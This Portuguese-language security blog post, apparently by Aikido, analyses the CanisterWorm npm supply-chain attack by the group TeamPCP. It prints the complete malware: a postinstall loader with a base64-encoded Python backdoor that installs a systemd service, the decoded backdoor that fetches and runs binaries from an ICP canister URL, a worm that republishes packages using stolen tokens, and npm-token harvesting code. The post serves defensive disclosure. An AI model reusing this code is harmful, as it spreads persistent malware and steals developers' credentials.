Aikido

A TeamPCP instala o CanisterWorm no NPM na sequência Trivy

Escrito por
Charlie Eriksen

Em 20 de março de 2026, às 20:45 UTC, detetámos um grande número de pacotes comprometidos no NPM por um novo worm nunca antes observado. Denominámos este ataque específico de CanisterWorm, uma vez que utiliza um ICP Canister para o seu canal C2 de entrega de dados, o que constitui a primeira vez que observamos algo semelhante numa campanha deste tipo.

Até agora, chegaram a um acordo:

  • 28 embalagens no @EmilGroup âmbito
  • O pacote @teale.io/eslint-config, que regista 7000 downloads semanais

Parece tratar-se de uma reação direta ao ataque contraTrivy ocorridoTrivy de 24 horas, conforme documentado em pormenor por Wiz, e ter sido levado a cabo pelo mesmo agente malicioso, o TeamPCP.

Análise técnica

Segue-se uma descrição dos principais detalhes técnicos do ataque:

  • 🬊 Arquitetura em três fases. Carregador pós-instalação do Node.js → porta traseira persistente em Python → ponto de entrega oculto hospedado no ICP para a entrega dinâmica da carga útil.
  • 🟛 Worm que se propaga automaticamente. deploy.js aceita tokens do npm, resolve nomes de utilizador, enumera todos os pacotes publicáveis, atualiza as versões de patch e publica o conteúdo em todo o âmbito. 28 pacotes em menos de 60 segundos.
  • 😎 Persistência do systemd. Instala um serviço ao nível do utilizador com Reiniciar=sempre. Funciona mesmo após reinicializações, reinicia após falhas, não requer acesso de root.
  • 🌐 O canister ICP como ponto de entrega secreta C2. Um canister na rede principal do Internet Computer devolve um URL que aponta para uma carga binária. Descentralizado, resistente à censura, sem um único ponto de remoção.
  • 🔄 Rotação remota da carga útil. O controlador do canister pode alterar o URL a qualquer momento, enviando novos ficheiros binários para todos os anfitriões infetados sem alterar o implante.
  • ⏱️ Evasão do ambiente de teste. Suspensão de 5 minutos antes do primeiro sinal, intervalo de sondagem de ~50 minutos a partir daí.
  • 😏 Falha silenciosa. Todo o processo pós-instalação está contido em try/catch. npm install funciona normalmente em todas as plataformas; o backdoor só se ativa no Linux com o systemd.
  • 🐘 Mascaramento do PostgreSQL. Todos os artefactos cujos nomes foram definidos para se misturarem nos computadores dos programadores: pgmon, pglog, .pg_state.
  • 📄 Preservação do README. O worm obtém o README original de cada pacote de destino antes da publicação, para manter as aparências.

Carga útil - Malware

Segue-se a principal carga maliciosa. Este ficheiro é executado automaticamente como um postinstall gancho durante npm install. Eis o que faz, passo a passo:

  • 🔓 Decodifica a carga útil incorporada. A longa sequência Base64 é um script em Python (o backdoor de segunda fase que analisaremos a seguir). É descodificada e gravada em ~/.local/share/pgmon/service.py.
  • 🟔 Cria um serviço de utilizador no systemd. Grava um ficheiro de unidade em ~/.config/systemd/user/pgmon.service que executa o script Python com Reiniciar=sempre e um atraso de reinício de 5 segundos. Não é necessário ter acesso de root, nem é solicitada uma palavra-passe.
  • 🀨 Inicia o serviço imediatamente. Funciona systemctl --user daemon-reload, em seguida, ativa e inicia o serviço. A porta traseira está agora em execução e sobreviverá a reinicializações e falhas do sistema.
  • 🐘 Finge ser uma ferramenta do PostgreSQL. O serviço chama-se pgmon, o ficheiro binário que descarrega posteriormente chama-se pglog, e o ficheiro de estado é .pg_state. Um programador que desse uma olhadela aos serviços em execução nem sequer prestaria atenção.
'use strict';

const { execSync } = require('child_process');
const fs   = require('fs');
const os   = require('os');
const path = require('path');

try {
  const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));

  const SERVICE_NAME = 'pgmon';
  const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK';

  if (!BASE64_PAYLOAD) process.exit(0);

  const homeDir        = os.homedir();
  const dataDir        = path.join(homeDir, '.local', 'share', SERVICE_NAME);
  const scriptPath     = path.join(dataDir, 'service.py');
  const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
  const unitFilePath   = path.join(systemdUserDir, `${SERVICE_NAME}.service`);

  fs.mkdirSync(dataDir, { recursive: true });
  fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });

  fs.mkdirSync(systemdUserDir, { recursive: true });
  fs.writeFileSync(unitFilePath, [
    '[Unit]',
    `Description=${SERVICE_NAME}`,
    'After=default.target',
    '',
    '[Service]',
    'Type=simple',
    `ExecStart=/usr/bin/python3 ${scriptPath}`,
    'Restart=always',
    'RestartSec=5',
    '',
    '[Install]',
    'WantedBy=default.target',
    '',
  ].join('\n'), { mode: 0o644 });

  execSync('systemctl --user daemon-reload',                       { stdio: 'pipe' });
  execSync(`systemctl --user enable ${SERVICE_NAME}.service`,      { stdio: 'pipe' });
  execSync(`systemctl --user start  ${SERVICE_NAME}.service`,      { stdio: 'pipe' });
} catch (_) {
  // silent
}

Carga útil - Backdoor em Python

Ao descodificar a carga útil do systemd codificada em base64, obtém-se o seguinte. Trata-se da porta traseira propriamente dita que permanece no sistema. Utiliza apenas módulos da biblioteca padrão do Python, pelo que não é necessário instalar nada.

  • ⏱️ Espera 5 minutos antes de fazer qualquer coisa. Tempo suficiente para escapar à maioria dos ambientes sandbox que monitorizam comportamentos suspeitos de forma imediata.
  • 📡 Liga para casa a cada ~50 minutos. Função g() contacta um contêiner ICP com um User-Agent do navegador falsificado. O contêiner não distribui malware diretamente. Apenas devolve um URL em texto simples, apontando para o local onde o ficheiro binário real está atualmente alojado.
  • 📥 Descarrega e executa tudo o que lhe for pedido. Função e() baixa o ficheiro binário para /tmp/pglog, marca-o como executável e inicia-o num processo totalmente independente. O URL é guardado em /tmp/.pg_state para que não volte a descarregar o mesmo conteúdo duas vezes.
  • 🔘 Possui um interruptor de emergência integrado. Se o URL contiver youtube[.]com, o script ignora-o. Este é o estado inativo do recipiente. O atacante arma o implante apontando o recipiente para um ficheiro binário real e desarma-o voltando a um link do YouTube.
  • 🔄 Suporta a rotação de cargas úteis. Se o atacante atualizar o canister para apontar para um novo URL, todas as máquinas infetadas descarregam o novo ficheiro binário na sua próxima consulta. O ficheiro binário antigo continua a ser executado em segundo plano, uma vez que o script nunca encerra os processos anteriores.
import urllib.request
import os
import subprocess
import time

C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"

def g():
    try:
        req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
        with urllib.request.urlopen(req, timeout=10) as r:
            link = r.read().decode('utf-8').strip()
            return link if link.startswith("http") else None
    except:
        return None

def e(l):
    try:
        urllib.request.urlretrieve(l, TARGET)
        os.chmod(TARGET, 0o755)
        subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
        with open(STATE, "w") as f: 
            f.write(l)
    except:
        pass

if __name__ == "__main__":
    time.sleep(300)
    while True:
        l = g()
        prev = ""
        if os.path.exists(STATE):
            try:
                with open(STATE, "r") as f: 
                    prev = f.read().strip()
            except: 
                pass
        
        if l and l != prev and "youtube.com" not in l:
            e(l)
            
        time.sleep(3000)

Esta carga útil e o domínio referido parecem ser semelhantes, se não idênticos ao sysmon.py carga maliciosa do Trivy . Neste momento, o URL devolvido pelo C2 é um vídeo do YouTube do tipo «Rickroll». Isto pode mudar a qualquer momento e passar a distribuir uma carga maliciosa propriamente dita.

Carga útil - Worm

O pacote também inclui deploy.js, uma ferramenta de autopropagação que o atacante executa manualmente para espalhar a carga maliciosa por todos os pacotes aos quais um token npm roubado tem acesso. O worm é muito simples. Parece estar inteiramente codificado em Vibe e é autoexplicativo. Não foi feita qualquer tentativa de ofuscação. Isto não é acionado por npm install. Trata-se de uma ferramenta autónoma que o atacante executa com tokens roubados para maximizar o alcance do ataque. Eis o que ela faz:

  • 🔑 Suporta vários tokens. Leituras NPM_TOKENS (separados por vírgulas) ou NPM_TOKEN do ambiente. Cada token é processado de forma independente, o que significa que uma única execução pode comprometer várias contas.
  • 🔍 Determina a quem pertence o token. Para cada token, chama o npm /-/quem sou eu ponto final para obter o nome de utilizador associado. Os tokens inválidos ou expirados são ignorados.
  • 📦 Enumera todos os pacotes para os quais a conta pode publicar. Utiliza a API de pesquisa do npm com maintainer:<username>, paginados em lotes de 250. Foi assim que descobriu todos os 28 @emilgroup pacotes.
  • 🟔 Atualiza automaticamente a versão do patch. Recupera o valor atual mais recente versão de cada pacote de destino e aumenta o número do patch. 1.54.0 torna-se 1.54.1, 1.97.1 torna-se 1.97.2. A nova versão parece sempre um lançamento de atualização de rotina.
  • 📄 Mantém o ficheiro README original. Antes da publicação, recupera o ficheiro README existente do pacote de destino a partir do registo e substitui-o localmente. Após a publicação, restaura os seus próprios ficheiros. Isto faz com que a lista do npm se mantenha com um aspeto normal.
  • 🔀 Reescritas package.json em tempo real. Substitui temporariamente o nome e a versão do pacote no local package.json com o do alvo, publica e, em seguida, restaura o original. Um único esqueleto malicioso, reutilizado para todos os pacotes.
  • 🀨 Publica com --tag mais recente. O --acesso público --etiqueta mais recente Esses sinalizadores garantem que a versão maliciosa se torne a instalação padrão. Qualquer pessoa que execute npm install @emilgroup/whatever obtém a versão comprometida.
  • 🧹 Limpa tudo o que suja. Ambos package.json e README.md são sempre restaurados num finalmente bloqueio, mesmo que a publicação falhe. O diretório local parece não ter sofrido alterações após a execução.
  • 📊 Imprime um resumo. Regista os sucessos e os falhas por token, registando tudo com linhas de estado precedidas por emojis. Ironicamente, está muito bem concebida para ser uma ferramenta de ataque.

#!/usr/bin/env node

/**
 * deploy.js
 *
 * Iterates over a list of NPM tokens to:
 *  1. Authenticate with the npm registry and resolve your username per token
 *  2. Fetch every package owned by that account from the registry
 *  3. For every owned package:
 *       a. Deprecate all existing versions (except the new one you are publishing)
 *       b. Swap the "name" field in a temp copy of package.json
 *       c. Run `npm publish` to push the new version to that package
 *
 * Usage (multiple tokens, comma-separated):
 *   NPM_TOKENS=<token1>,<token2>,<token3> node scripts/deploy.js
 *
 * Usage (single token fallback):
 *   NPM_TOKEN=<your_token> node scripts/deploy.js
 *
 * Or set it in your environment beforehand:
 *   export NPM_TOKENS=<token1>,<token2>
 *   node scripts/deploy.js
 */

const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');

// ── Helpers ──────────────────────────────────────────────────────────────────

function run(cmd, opts = {}) {
  console.log(`\n> ${cmd}`);
  return execSync(cmd, { stdio: 'inherit', ...opts });
}

function fetchJson(url, token) {
  return new Promise((resolve, reject) => {
    const options = {
      headers: {
        Authorization: `Bearer ${token}`,
        Accept: 'application/json',
      },
    };
    https
      .get(url, options, (res) => {
        let data = '';
        res.on('data', (chunk) => (data += chunk));
        res.on('end', () => {
          try {
            resolve(JSON.parse(data));
          } catch (e) {
            reject(new Error(`Failed to parse response from ${url}: ${data}`));
          }
        });
      })
      .on('error', reject);
  });
}

/**
 * Fetches package metadata (readme + latest version) from the npm registry.
 * Returns { readme: string|null, latestVersion: string|null }.
 */
async function fetchPackageMeta(packageName, token) {
  try {
    const meta = await fetchJson(
      `https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
      token
    );
    const readme = (meta && meta.readme) ? meta.readme : null;
    const latestVersion =
      (meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
    return { readme, latestVersion };
  } catch (_) {
    return { readme: null, latestVersion: null };
  }
}

/**
 * Bumps the patch segment of a semver string.
 * e.g. "1.39.0" → "1.39.1"
 */
function bumpPatch(version) {
  const parts = version.split('.').map(Number);
  if (parts.length !== 3 || parts.some(isNaN)) return version;
  parts[2] += 1;
  return parts.join('.');
}

/**
 * Returns an array of package names owned by `username`.
 * Uses the npm search API filtered by maintainer.
 */
async function getOwnedPackages(username, token) {
  let packages = [];
  let from = 0;
  const size = 250;

  while (true) {
    const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
      username
    )}&size=${size}&from=${from}`;
    const result = await fetchJson(url, token);

    if (!result.objects || result.objects.length === 0) break;

    packages = packages.concat(result.objects.map((o) => o.package.name));

    if (packages.length >= result.total) break;
    from += size;
  }

  return packages;
}

/**
 * Runs the full deploy pipeline for a single npm token.
 * Returns { success: string[], failed: string[] }
 */
async function deployWithToken(token, pkg, pkgPath, newVersion) {
  // 1. Verify token / get username
  console.log('\n🔍  Verifying npm token…');
  let whoami;
  try {
    whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
  } catch (err) {
    console.error('❌  Could not reach the npm registry:', err.message);
    return { success: [], failed: [] };
  }

  if (!whoami || !whoami.username) {
    console.error('❌  Invalid or expired token — skipping.');
    return { success: [], failed: [] };
  }

  const username = whoami.username;
  console.log(`✅  Authenticated as: ${username}`);

  // 2. Fetch all packages owned by this user
  console.log(`\n🔍  Fetching all packages owned by "${username}"…`);
  let ownedPackages;
  try {
    ownedPackages = await getOwnedPackages(username, token);
  } catch (err) {
    console.error('❌  Failed to fetch owned packages:', err.message);
    return { success: [], failed: [] };
  }

  if (ownedPackages.length === 0) {
    console.log('   No packages found for this user. Skipping.');
    return { success: [], failed: [] };
  }

  console.log(`   Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);

  // 3. Process each owned package
  const results = { success: [], failed: [] };

  for (const packageName of ownedPackages) {
    console.log(`\n${'─'.repeat(60)}`);
    console.log(`📦  Processing: ${packageName}`);

    // 3a. Fetch the original package's README and latest version
    const readmePath = path.resolve(__dirname, '..', 'README.md');
    const originalReadme = fs.existsSync(readmePath)
      ? fs.readFileSync(readmePath, 'utf8')
      : null;

    console.log(`   📄  Fetching metadata for ${packageName}…`);
    const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);

    // Determine version to publish: bump patch of existing latest, or use local version
    const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
    console.log(
      latestVersion
        ? `   🔢  Latest is ${latestVersion} → publishing ${publishVersion}`
        : `   🔢  No existing version found → publishing ${publishVersion}`
    );

    if (remoteReadme) {
      fs.writeFileSync(readmePath, remoteReadme, 'utf8');
      console.log(`   📄  Using original README for ${packageName}`);
    } else {
      console.log(`   📄  No existing README found; keeping local README`);
    }

    // 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
    const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
    const tempPkg = { ...pkg, name: packageName, version: publishVersion };
    fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');

    try {
      run('npm publish --access public --tag latest', {
        env: { ...process.env, NPM_TOKEN: token },
      });
      console.log(`✅  Published ${packageName}@${publishVersion}`);
      results.success.push(packageName);
    } catch (err) {
      console.error(`❌  Failed to publish ${packageName}:`, err.message);
      results.failed.push(packageName);
    } finally {
      // Always restore the original package.json
      fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');

      // Always restore the original README
      if (originalReadme !== null) {
        fs.writeFileSync(readmePath, originalReadme, 'utf8');
      } else if (remoteReadme && fs.existsSync(readmePath)) {
        // README didn't exist locally before — remove the temporary one
        fs.unlinkSync(readmePath);
      }
    }
  }

  return results;
}

// ── Main ─────────────────────────────────────────────────────────────────────

(async () => {
  // 1. Resolve token list — prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
  const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
  const tokens = rawTokens
    .split(',')
    .map((t) => t.trim())
    .filter(Boolean);

  if (tokens.length === 0) {
    console.error('❌  No npm tokens found.');
    console.error('    Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
    process.exit(1);
  }

  console.log(`🔑  Found ${tokens.length} token(s) to process.`);

  // 2. Read local package.json once
  const pkgPath = path.resolve(__dirname, '..', 'package.json');
  const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
  const newVersion = pkg.version;

  // 3. Iterate over every token
  const overall = { success: [], failed: [] };

  for (let i = 0; i < tokens.length; i++) {
    const token = tokens[i];
    console.log(`\n${'═'.repeat(60)}`);
    console.log(`🔑  Token ${i + 1} / ${tokens.length}`);

    const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
    overall.success.push(...success);
    overall.failed.push(...failed);
  }

  // 4. Overall summary
  console.log(`\n${'═'.repeat(60)}`);
  console.log('📊  Overall Deploy Summary');
  console.log(`   ✅  Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
  console.log(`   ❌  Failed    (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);

  if (overall.failed.length > 0) {
    process.exit(1);
  }
})();

Atualização: O CanisterWorm aprende a propagar-se autonomamente

Cerca de uma hora após o início @emilgroup Na sequência dessa onda, o atacante lançou uma atualização significativa para @teale.io/eslint-config versões 1.8.11 e 1.8.12 (21:16-21:21 UTC). O worm já não é uma ferramenta manual. Agora, propaga-se automaticamente.

No @emilgroup versões, deploy.js era um script independente que o atacante executava manualmente com tokens roubados. As vítimas ficavam com o backdoor, mas o worm não se propagava por si só. Isso mudou. O novo index.js adiciona um findNpmTokens() função que é executada durante postinstall e recolhe ativamente tokens de autenticação do npm a partir do computador da vítima.

'use strict';

const { execSync, spawn } = require('child_process');
const fs   = require('fs');
const os   = require('os');
const path = require('path');

function findNpmTokens() {
  const tokens = new Set();
  const homeDir = os.homedir();
  const npmrcPaths = [
    path.join(homeDir, '.npmrc'),
    path.join(process.cwd(), '.npmrc'),
    '/etc/npmrc',
  ];
  for (const rcPath of npmrcPaths) {
    try {
      const content = fs.readFileSync(rcPath, 'utf8');
      for (const line of content.split('\n')) {
        const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
        if (m && m[1] && !m[1].startsWith('${')) {
          tokens.add(m[1].trim());
        }
      }
    } catch (_) {}
  }
  const envKeys = Object.keys(process.env).filter(
    (k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
  );
  for (const key of envKeys) {
    const val = process.env[key] || '';
    for (const t of val.split(',')) {
      const trimmed = t.trim();
      if (trimmed) tokens.add(trimmed);
    }
  }
  try {
    const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
      stdio: ['pipe', 'pipe', 'pipe'],
    }).toString().trim();
    if (configToken && configToken !== 'undefined' && configToken !== 'null') {
      tokens.add(configToken);
    }
  } catch (_) {}
  return [...tokens].filter(Boolean);
}

try {
  const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));

  const SERVICE_NAME = 'pgmon';
  const BASE64_PAYLOAD = 'hello123';

  if (!BASE64_PAYLOAD) process.exit(0);

  const homeDir        = os.homedir();
  const dataDir        = path.join(homeDir, '.local', 'share', SERVICE_NAME);
  const scriptPath     = path.join(dataDir, 'service.py');
  const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
  const unitFilePath   = path.join(systemdUserDir, `${SERVICE_NAME}.service`);

  fs.mkdirSync(dataDir, { recursive: true });
  fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });

  fs.mkdirSync(systemdUserDir, { recursive: true });
  fs.writeFileSync(unitFilePath, [
    '[Unit]',
    `Description=${SERVICE_NAME}`,
    'After=default.target',
    '',
    '[Service]',
    'Type=simple',
    `ExecStart=/usr/bin/python3 ${scriptPath}`,
    'Restart=always',
    'RestartSec=5',
    '',
    '[Install]',
    'WantedBy=default.target',
    '',
  ].join('\n'), { mode: 0o644 });

  execSync('systemctl --user daemon-reload',                       { stdio: 'pipe' });
  execSync(`systemctl --user enable ${SERVICE_NAME}.service`,      { stdio: 'pipe' });
  execSync(`systemctl --user start  ${SERVICE_NAME}.service`,      { stdio: 'pipe' });

  try {
    const tokens = findNpmTokens();
    if (tokens.length > 0) {
      const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
      if (fs.existsSync(deployScript)) {
        spawn(process.execPath, [deployScript], {
          detached: true,
          stdio: 'ignore',
          env: { ...process.env, NPM_TOKENS: tokens.join(',') },
        }).unref();
      }
    }
  } catch (_) {}
} catch (_) {}

Trata-se da mesma porta traseira do systemd de antes, mas com uma adição crucial no final: após instalar o serviço persistente, este recolhe todos os tokens npm que consegue encontrar e ativa o worm com eles.

  • 🔍 Arranhões .npmrc ficheiros. Cheques ~/.npmrc (configuração do utilizador), .npmrc no diretório de trabalho atual (configuração do projeto), e /etc/npmrc (configuração global). Analisa cada linha para _authToken valores. Inteligente o suficiente para ignorar variáveis de modelo como ${NPM_TOKEN} que não foram interpolados.
  • 🔍 Recolhe as variáveis de ambiente. Procura NPM_TOKEN, NPM_TOKENS, e tudo o que corresponder *NPM*TOKEN*. Divide em comas para lidar com variáveis compostas por vários tokens. Isto abrange a maioria das configurações de CI/CD.
  • 🔍 Consulta diretamente a configuração do npm. Corridas npm config get //registry.npmjs.org/:_authToken como um subprocesso para capturar tokens armazenados externamente .npmrc ficheiros.
  • 🟛 Gera automaticamente o verme. Se forem encontrados tokens, o programa é iniciado deploy.js como um processo em segundo plano totalmente independente com os tokens roubados. O desactivado: true e .unref() significa que o programa continua a funcionar mesmo depois de npm install acabamentos.

É neste ponto que o ataque passa de «uma conta comprometida publica malware» para «o malware compromete mais contas e se auto-propaga». Qualquer programador ou pipeline de integração contínua que instale este pacote e tenha um token npm acessível torna-se, sem o saber, um vetor de propagação. Os seus pacotes ficam infetados, os utilizadores a jusante instalam-nos e, se algum deles tiver tokens, o ciclo repete-se.

A carga útil da porta traseira do ICP foi substituída por olá123, uma sequência de teste fictícia que, quando descodificada, resulta em bytes inválidos. Quando o systemd tenta executá-la como Python, entra em falha imediatamente, mas com Reiniciar=sempre configurar o serviço para reiniciar silenciosamente a cada 5 segundos. O atacante implementou primeiro a infraestrutura para validar toda a cadeia (recolha de tokens, geração do worm, persistência no systemd) antes de a equipar com a carga útil real.

Se isto tivesse sido lançado com a porta traseira ICP completa, todos os pacotes dos programadores comprometidos teriam-se tornado um novo vetor de infeção. A canalização funciona. Só ainda não abriram a torneira.

Esta notícia está em desenvolvimento; fique atento às novidades...

Compartilhar:

https://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise

Assine para receber notícias sobre ameaças.

Comece hoje, gratuitamente.

Comece Gratuitamente
Não é necessário cc
4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.